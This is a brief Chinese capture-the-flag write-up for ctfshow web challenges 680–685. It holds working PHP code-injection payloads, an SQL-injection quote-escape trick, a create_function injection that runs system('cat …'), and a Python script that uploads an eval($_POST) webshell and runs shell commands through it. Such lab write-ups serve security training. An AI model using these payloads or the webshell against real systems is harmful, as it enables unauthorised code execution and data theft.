web680

post传入code=phpinfo();有回显

查看disable_functions，发现这些被禁用

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir

code=print_r(scandir('./'));

查看发现文件

 code=show_source(secret_you_never_know);

web681

登入抓个包

尝试注入,单引号被过滤，那就用\转义单引号

输入  ||1#\     ，等价于

select count(*) from ctfshow_users where username = '||1#\' or nickname = '  ||1#\'

web682

不会解混肴

web683

?秀=7.6e6

科学计数法绕过，sleep不会转，等7秒即可（0x16进制也可绕过）

web684

/?action=\create_function&arg=return(1);}system('cat /secret_you_never_know');/*

详见web147

web685

import requests
url="http://afda2459-aa5f-4692-ad7e-6c672e51685f.challenge.ctf.show/"

files={
    'file':'<?php eval($_POST[test]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
    u=url+'data'+str(i)+'.php'
    r=requests.post(u,data={'test':'system("ls;");'})
    print(r.text)
print(1)